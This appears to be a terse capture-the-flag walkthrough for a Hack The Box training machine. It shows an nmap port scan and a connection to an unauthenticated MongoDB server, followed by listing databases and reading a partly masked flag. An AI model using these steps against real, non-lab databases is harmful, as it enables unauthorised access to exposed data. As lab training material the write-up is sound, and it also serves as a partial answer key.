Hack The Box – Starting point – Mongod – Tier 0 Machines

nmap -sSV -p- -Pn 10.129.8.113 --min-rate=1000
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-24 10:00 EST
Nmap scan report for 10.129.8.113
Host is up (0.19s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
27017/tcp open  mongodb MongoDB 3.6.8
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.64 secondsCopy

apt-get install mongodbCopy

mongo 10.129.61.2  
MongoDB shell version v6.0.1
connecting to: mongodb://10.129.61.2:27017/test?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("f5d776e4-6bb0-42a2-a31b-92c29982da74") }
MongoDB server version: 3.6.8
WARNING: shell and server versions do not match
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Warning: the "mongo" shell has been superseded by "mongosh",
which delivers improved usability and compatibility.The "mongo" shell has been deprecated and will be removed in
an upcoming release.
For installation instructions, see
https://docs.mongodb.com/mongodb-shell/install/
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The server generated these startup warnings when booting: 
2023-03-27T18:34:09.245+0000 I STORAGE  [initandlisten] 
2023-03-27T18:34:09.245+0000 I STORAGE  [initandlisten] ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine
2023-03-27T18:34:09.245+0000 I STORAGE  [initandlisten] **          See http://dochub.mongodb.org/core/prodnotes-filesystem
2023-03-27T18:34:12.276+0000 I CONTROL  [initandlisten] 
2023-03-27T18:34:12.276+0000 I CONTROL  [initandlisten] ** WARNING: Access control is not enabled for the database.
2023-03-27T18:34:12.276+0000 I CONTROL  [initandlisten] **          Read and write access to data and configuration is unrestricted.
2023-03-27T18:34:12.276+0000 I CONTROL  [initandlisten] 
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>Copy

> show dbs

admin                  0.000GB
config                 0.000GB
local                  0.000GB
sensitive_information  0.000GB
users                  0.000GBCopy

> use sensitive_information
switched to db sensitive_informationCopy

 > show collections
flagCopy

> db.flag.find().pretty()
{
        "_id" : ObjectId("630e3dbcb82540ebbd1748c5"),
        "flag" : "1b6e6fb359e7c4024XXXXXXXXXXXXX"
}
>Copy